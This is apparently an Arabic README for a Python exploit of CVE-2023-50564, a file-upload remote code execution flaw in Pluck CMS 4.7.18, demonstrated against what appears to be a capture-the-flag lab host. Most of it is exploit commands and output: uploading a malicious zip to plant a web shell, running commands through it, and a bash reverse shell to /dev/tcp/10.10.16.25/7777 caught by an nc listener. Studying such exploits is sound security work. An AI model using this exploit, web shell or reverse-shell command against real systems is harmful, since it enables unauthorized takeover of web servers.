CVE-2023-50564

CVE-2023-50564 هي ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) في نظام Pluck CMS الإصدار v4.7.18. وهي ممكنة من خلال ثغرة رفع ملفات عشوائية في المكوّن /inc/modules_install.php تسمح بتنفيذ تعليمات برمجية عشوائية عبر رفع ملف .zip خبيث.

الاستخدام

قبل تشغيل الاستغلال، يجب معرفة كلمة المرور للمصادقة على /login.php.

تشغيل الاستغلال ضد الهدف:

$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1          
[+] Creating payload malicious.zip                                    
[+] Logging in                                                                                                                              
[+] Login successful                                                                                                                        
[+] Uploading malicious.zip                                        
[+] Upload successful                                                                                                                                                                                                                                                                    
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>

يمكن الوصول إلى ملف .php الخبيث عبر الرابط الذي يوفّره السكربت لتنفيذ الأوامر.

يمكن تحديد الأوامر المراد تنفيذها اختيارياً باستخدام العلم --cmd.

$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd id
[+] Creating payload malicious.zip                                                                                                          
[+] Logging in                                                                                                                              
[+] Login successful                                                                                                                        
[+] Uploading malicious.zip                                                                                                                 
[+] Upload successful                             
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>                                             
[+] Executing command 'id'                                                                                                                  
                                                                      
uid=33(www-data) gid=33(www-data) groups=33(www-data)

الصدفة العكسية

ابدأ المستمع، ثم حدّد أمراً لإقامة اتصال صدفة عكسية على المستمع باستخدام العلم --cmd:

$ python3 exploit.py --target http://greenhorn.htb --password iloveyou1 --cmd "bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1'"                                                                                                                                                    
[+] Creating payload malicious.zip                                                                                                          
[+] Logging in                                                                                                                              
[+] Login successful                     
[+] Uploading malicious.zip                                                                                                                 
[+] Upload successful                                                                                                                       
[+] Access web shell at http://greenhorn.htb/data/modules/malicious/malicious.php?cmd=<COMMAND>                                             
[+] Executing command 'bash -c 'bash -i >& /dev/tcp/10.10.16.25/7777 0>&1''

واحصل على الاتصال على المستمع:

$ rlwrap -cAr nc -lvnp 7777
listening on [any] 7777 ...
connect to [10.10.16.25] from (UNKNOWN) [10.129.78.209] 38982
bash: cannot set terminal process group (1003): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:~/html/pluck/data/modules/malicious$

التثبيت

ثبّت المتطلبات:

pip install -r requirements.txt

المساعدة:

$ python3 exploit.py --help                                                                               
usage: exploit.py [-h] --target TARGET --password PASSWORD [--cmd CMD]

Exploit Pluck v4.7.18 RCE Vulnerability

options:
  -h, --help           show this help message and exit
  --target TARGET      Target URL (Example: http://greenhorn.htb)
  --password PASSWORD  Pluck password
  --cmd CMD            Command to execute

الاعتمادات

الاعتماد يعود إلى Mirabbas Ağalarov لاكتشاف الثغرة (الرابط).